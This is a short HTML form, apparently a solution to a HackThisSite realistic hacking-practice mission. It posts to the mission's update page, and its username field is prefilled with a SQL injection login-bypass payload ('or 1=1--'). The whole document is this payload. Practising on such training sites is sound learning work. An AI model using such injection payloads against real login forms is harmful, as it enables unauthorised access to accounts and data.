<form action="http://www.hackthissite.org/missions/realistic/2/update2.php" method="post">
username<br>
<input type="text" name="username" value="hi' or 1=1--">
<br>
<br>
password<br>
<input type="password" name="password">
<br>
<br>
<input type="submit" name="log in">
</form>